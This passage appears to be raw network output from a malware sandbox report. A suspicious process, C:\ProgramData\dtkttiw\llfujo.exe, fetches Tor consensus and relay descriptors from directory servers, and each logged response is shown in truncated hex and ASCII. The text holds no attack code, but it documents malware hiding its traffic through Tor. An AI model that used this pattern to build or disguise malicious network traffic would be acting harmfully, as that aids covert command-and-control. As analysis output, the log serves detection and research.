76 70 59 56 47 2f 4b 56 55 4d 6f 7a 79 76 75 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router relayon1173 185.220.101.173 11173 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxqiAemf3ubQT388vR0Lh8bGDs8ncvT0Fx94ffb1goyz9ZzsAQAgBACMwQvt3mi1xlseKhhM5wCMoRJBxvoHevpOSaX3nq/YpGNxuV3DyAvg0Ws5AZDowRiZeuQd7k8+mK6m1VBf/zV8Tr2kXZBClKkWTK/c3o0x1AR3MQRh+Weiar2r1bU6ygM=-----END ED25519 CERT-----master-key-ed25519 jMEL7d5otcZbHioYTOcAjKESQcb6B3r6Tkml956v2KQor-address [2a0b:f4c2:1::173]:11173platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 17:45:48fingerprint 7A72 DA31 27BE 09A8 0225 5A60 0CD0 B4E9 7785 F5FDuptime 10801bandwidth 1073741824 1073741824 15504384extra-info-digest 0297D70C6754976809F094A036E0E7BD30EC0EEF 4WMQn4vbBNfEFO9121Sy3Vjy+lJziK2nlnMgg/1jwt8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKzO14cvRZRO2INWgTWpjRBNdR7fvqE6nVPnsC2FBRO48p/yRzhfMQCWZod/Tvwvc3pY2pfOBujs28lLQf2WeK12tFoJFusK7v2ABav+m91+IQakQfxlAdMfwtbBBpdO9bNq+GlisUzC6QXMb8oqoF3wE+OPvpYVG/KVUMozyvuHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49727	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:22.539560080 CET	2786	OUT	GET /tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3 HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:23.610373020 CET	2787	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:23 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:23 GMT Data Raw: 72 6f 75 74 65 72 20 53 65 70 69 69 64 61 65 20 31 37 32 2e 30 2e 34 37 2e 37 38 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 74 6c 41 52 57 35 2f 76 36 52 4a 78 32 4d 4d 52 74 30 74 50 32 64 63 62 68 77 4a 65 5a 6e 42 69 36 61 2f 70 73 33 6e 35 57 4a 5a 53 32 31 41 51 41 67 42 41 42 39 41 59 61 36 0a 65 47 7a 39 68 4d 53 57 66 64 73 68 41 58 62 4f 2f 6e 59 37 7a 72 63 34 7a 4c 77 45 52 4c 67 4b 46 77 75 4a 79 54 4a 59 6a 67 4d 4c 66 76 33 41 61 64 4e 38 6d 77 4b 79 4c 52 47 5a 34 73 71 45 0a 57 6a 74 2b 5a 33 6d 2b 50 35 32 48 54 2b 55 64 4d 68 50 4c 43 43 52 64 58 71 4e 74 61 6e 62 2b 34 5a 4e 34 35 4d 6f 62 49 4c 72 38 4f 44 34 58 42 77 70 66 35 47 32 46 51 67 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 66 51 47 47 75 6e 68 73 2f 59 54 45 6c 6e 33 62 49 51 46 32 7a 76 35 32 4f 38 36 33 4f 4d 79 38 42 45 53 34 43 68 63 4c 69 63 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 31 3a 30 39 3a 35 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 31 45 46 46 20 32 37 30 34 20 44 31 39 42 20 46 34 35 33 20 30 35 42 42 20 43 43 41 35 20 33 45 32 42 20 35 39 41 33 20 44 31 37 41 20 36 45 45 33 0a 75 70 74 69 6d 65 20 38 34 32 35 35 34 0a 62 61 6e 64 77 69 64 74 68 20 31 38 38 37 34 33 36 20 32 33 30 36 38 36 37 20 31 38 38 31 30 30 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 35 33 30 36 34 42 45 39 31 38 46 42 41 31 34 37 36 36 43 35 43 41 35 33 35 33 37 35 30 34 30 38 44 30 44 31 35 39 34 35 20 55 70 51 66 31 66 50 6a 61 45 6d 43 75 78 42 58 31 7a 78 46 73 58 45 66 37 32 70 7a 78 76 6c 6f 54 73 4e 5a 57 48 44 45 63 59 55 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 38 44 44 37 48 65 63 66 68 69 46 31 66 7a 4a 33 65 34 6c 36 33 4b 38 61 6d 73 43 52 5a 4f 76 55 66 77 75 54 4b 4a 79 4d 4d 37 30 54 45 43 4a 61 75 39 59 37 43 76 0a 4c 6a 75 51 6a 58 79 37 6a 4a 2b 4b 4c 54 75 52 44 62 56 31 63 67 73 57 6b 55 6e 47 50 47 69 55 57 48 52 79 46 35 31 71 42 72 69 4a 61 68 66 62 6f 72 5a 53 6e 62 35 46 37 31 32 62 4d 79 30 72 0a 42 63 4b 4b 2b 62 64 67 64 61 6d 69 4f 65 46 73 35 54 6e 73 6f 51 5a 35 6b 65 44 62 65 72 7a 63 6c 61 37 5a 52 50 65 48 68 47 2f 63 63 39 7a 56 45 63 53 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 48 4d 72 51 64 4f 64 43 56 6a 4a 68 66 77 66 64 75 Data Ascii: router Sepiidae 172.0.47.78 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxtlARW5/v6RJx2MMRt0tP2dcbhwJeZnBi6a/ps3n5WJZS21AQAgBAB9AYa6eGz9hMSWfdshAXbO/nY7zrc4zLwERLgKFwuJyTJYjgMLfv3AadN8mwKyLRGZ4sqEWjt+Z3m+P52HT+UdMhPLCCRdXqNtanb+4ZN45MobILr8OD4XBwpf5G2FQgE=-----END ED25519 CERT-----master-key-ed25519 fQGGunhs/YTEln3bIQF2zv52O863OMy8BES4ChcLickplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 11:09:53fingerprint 1EFF 2704 D19B F453 05BB CCA5 3E2B 59A3 D17A 6EE3uptime 842554bandwidth 1887436 2306867 1881008extra-info-digest 53064BE918FBA14766C5CA5353750408D0D15945 UpQf1fPjaEmCuxBX1zxFsXEf72pzxvloTsNZWHDEcYUonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL8DD7HecfhiF1fzJ3e4l63K8amsCRZOvUfwuTKJyMM70TECJau9Y7CvLjuQjXy7jJ+KLTuRDbV1cgsWkUnGPGiUWHRyF51qBriJahfborZSnb5F712bMy0rBcKK+bdgdamiOeFs5TnsoQZ5keDberzcla7ZRPeHhG/cc9zVEcSNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMHMrQdOdCVjJhfwfdu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49728	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:24.580585003 CET	2794	OUT	GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:25.795445919 CET	2796	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:25 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:25 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 37 33 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 37 33 20 31 31 31 37 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 71 69 41 65 6d 66 33 75 62 51 54 33 38 38 76 52 30 4c 68 38 62 47 44 73 38 6e 63 76 54 30 46 78 39 34 66 66 62 31 67 6f 79 7a 39 5a 7a 73 41 51 41 67 42 41 43 4d 77 51 76 74 0a 33 6d 69 31 78 6c 73 65 4b 68 68 4d 35 77 43 4d 6f 52 4a 42 78 76 6f 48 65 76 70 4f 53 61 58 33 6e 71 2f 59 70 47 4e 78 75 56 33 44 79 41 76 67 30 57 73 35 41 5a 44 6f 77 52 69 5a 65 75 51 64 0a 37 6b 38 2b 6d 4b 36 6d 31 56 42 66 2f 7a 56 38 54 72 32 6b 58 5a 42 43 6c 4b 6b 57 54 4b 2f 63 33 6f 30 78 31 41 52 33 4d 51 52 68 2b 57 65 69 61 72 32 72 31 62 55 36 79 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 4d 45 4c 37 64 35 6f 74 63 5a 62 48 69 6f 59 54 4f 63 41 6a 4b 45 53 51 63 62 36 42 33 72 36 54 6b 6d 6c 39 35 36 76 32 4b 51 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 37 33 5d 3a 31 31 31 37 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 37 3a 34 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 41 37 32 20 44 41 33 31 20 32 37 42 45 20 30 39 41 38 20 30 32 32 35 20 35 41 36 30 20 30 43 44 30 20 42 34 45 39 20 37 37 38 35 20 46 35 46 44 0a 75 70 74 69 6d 65 20 31 30 38 30 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 35 35 30 34 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 32 39 37 44 37 30 43 36 37 35 34 39 37 36 38 30 39 46 30 39 34 41 30 33 36 45 30 45 37 42 44 33 30 45 43 30 45 45 46 20 34 57 4d 51 6e 34 76 62 42 4e 66 45 46 4f 39 31 32 31 53 79 33 56 6a 79 2b 6c 4a 7a 69 4b 32 6e 6c 6e 4d 67 67 2f 31 6a 77 74 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 7a 4f 31 34 63 76 52 5a 52 4f 32 49 4e 57 67 54 57 70 6a 52 42 4e 64 52 37 66 76 71 45 36 6e 56 50 6e 73 43 32 46 42 52 4f 34 38 70 2f 79 52 7a 68 66 4d 51 43 57 0a 5a 6f 64 2f 54 76 77 76 63 33 70 59 32 70 66 4f 42 75 6a 73 32 38 6c 4c 51 66 32 57 65 4b 31 32 74 46 6f 4a 46 75 73 4b 37 76 32 41 42 61 76 2b 6d 39 31 2b 49 51 61 6b 51 66 78 6c 41 64 4d 66 0a 77 74 62 42 42 70 64 4f 39 62 4e 71 2b 47 6c 69 73 55 7a 43 36 51 58 4d 62 38 6f 71 6f 46 33 77 45 2b 4f 50 76 70 59 56 47 2f 4b 56 55 4d 6f 7a 79 76 75 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router relayon1173 185.220.101.173 11173 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxqiAemf3ubQT388vR0Lh8bGDs8ncvT0Fx94ffb1goyz9ZzsAQAgBACMwQvt3mi1xlseKhhM5wCMoRJBxvoHevpOSaX3nq/YpGNxuV3DyAvg0Ws5AZDowRiZeuQd7k8+mK6m1VBf/zV8Tr2kXZBClKkWTK/c3o0x1AR3MQRh+Weiar2r1bU6ygM=-----END ED25519 CERT-----master-key-ed25519 jMEL7d5otcZbHioYTOcAjKESQcb6B3r6Tkml956v2KQor-address [2a0b:f4c2:1::173]:11173platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 17:45:48fingerprint 7A72 DA31 27BE 09A8 0225 5A60 0CD0 B4E9 7785 F5FDuptime 10801bandwidth 1073741824 1073741824 15504384extra-info-digest 0297D70C6754976809F094A036E0E7BD30EC0EEF 4WMQn4vbBNfEFO9121Sy3Vjy+lJziK2nlnMgg/1jwt8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKzO14cvRZRO2INWgTWpjRBNdR7fvqE6nVPnsC2FBRO48p/yRzhfMQCWZod/Tvwvc3pY2pfOBujs28lLQf2WeK12tFoJFusK7v2ABav+m91+IQakQfxlAdMfwtbBBpdO9bNq+GlisUzC6QXMb8oqoF3wE+OPvpYVG/KVUMozyvuHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49700	128.31.0.39	9131	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 00:59:57.579632044 CET	6	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 128.31.0.39 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 00:59:57.680700064 CET	7	IN	HTTP/1.0 200 OK Date: Wed, 08 Feb 2023 23:59:57 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Thu, 09 Feb 2023 00:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 33 2d 30 32 2d 30 38 20 32 33 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 32 2d 30 39 20 30 30 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 32 2d 30 39 20 30 32 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 35 2e 31 36 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 35 2e 31 36 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2023-02-08 23:00:00fresh-until 2023-02-09 00:00:00valid-until 2023-02-09 02:00:00voting-delay 300 300client-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.5.16,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13server-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.5.16,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCi

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49729	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:26.017787933 CET	2804	OUT	GET /tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:27.374885082 CET	2806	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:27 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:27 GMT Data Raw: 72 6f 75 74 65 72 20 70 6c 75 74 6f 61 20 33 37 2e 32 33 35 2e 34 38 2e 32 34 37 20 37 36 35 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 73 64 41 56 33 6c 31 4d 5a 62 72 34 67 4f 75 72 44 42 38 6e 6f 77 30 51 71 35 6a 75 45 6f 79 54 39 38 61 39 57 6d 4b 36 59 42 5a 63 73 4c 41 51 41 67 42 41 44 70 62 43 65 45 0a 74 38 34 65 76 48 35 5a 42 4e 5a 6e 52 6f 54 46 76 49 33 71 74 63 33 77 77 75 51 41 66 2f 65 33 65 59 4c 79 7a 44 4a 4f 4c 59 78 38 56 6d 70 54 6b 65 7a 6e 7a 46 31 76 77 63 51 45 54 75 6a 76 0a 66 36 6c 65 6a 79 59 74 32 66 31 71 59 50 48 46 55 59 67 72 2f 35 78 4e 37 38 62 6e 31 54 31 6b 58 50 68 71 33 39 37 33 2f 32 6f 4c 65 46 72 41 51 45 2f 65 46 6b 79 2f 38 77 63 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 36 57 77 6e 68 4c 66 4f 48 72 78 2b 57 51 54 57 5a 30 61 45 78 62 79 4e 36 72 58 4e 38 4d 4c 6b 41 48 2f 33 74 33 6d 43 38 73 77 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 33 3a 66 38 30 3a 34 38 3a 33 37 3a 32 33 35 3a 34 38 3a 32 34 37 3a 31 5d 3a 37 36 35 34 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 38 3a 30 39 3a 30 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 31 46 32 30 20 37 37 42 46 20 30 31 43 41 20 46 32 33 46 20 38 31 39 44 20 34 38 39 32 20 41 38 39 38 20 38 33 31 39 20 36 41 42 41 20 38 34 32 41 0a 75 70 74 69 6d 65 20 37 31 32 38 32 32 0a 62 61 6e 64 77 69 64 74 68 20 36 35 35 33 36 30 20 31 30 37 33 37 34 31 38 32 34 20 35 37 34 37 38 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 32 37 44 31 46 30 43 37 33 37 30 37 36 45 46 37 36 38 41 43 33 33 37 30 37 42 45 35 34 43 43 41 34 43 31 36 46 37 31 36 20 41 66 70 34 75 2b 49 49 36 6e 78 6c 34 45 53 37 77 72 4a 2f 55 6d 65 4d 39 4a 68 55 79 6e 49 46 68 46 57 31 43 68 68 36 33 37 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 30 66 4b 33 6c 41 51 36 2b 6b 4d 76 4c 53 43 4b 4a 4c 53 52 38 66 74 75 2f 44 31 66 49 68 4a 66 41 4c 6a 56 63 57 51 38 41 31 31 67 55 30 47 36 53 6f 46 39 38 6a 0a 5a 42 62 68 66 39 51 4e 39 39 72 74 41 48 58 6c 79 62 4a 49 74 64 4c 36 78 6b 42 53 34 48 76 5a 76 33 49 57 69 53 53 36 55 4f 78 77 52 64 69 37 72 54 4c 5a 48 63 64 31 59 62 50 49 47 63 4a 65 0a 76 41 6e 79 42 39 5a 5a 63 42 4d 78 57 57 65 50 63 4a 65 45 48 62 36 74 6f 6d 45 79 73 71 62 76 4b 51 43 4c 68 65 63 32 71 52 38 76 58 65 70 48 65 31 6a 62 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e Data Ascii: router plutoa 37.235.48.247 7654 0 0identity-ed25519-----BEGIN ED25519 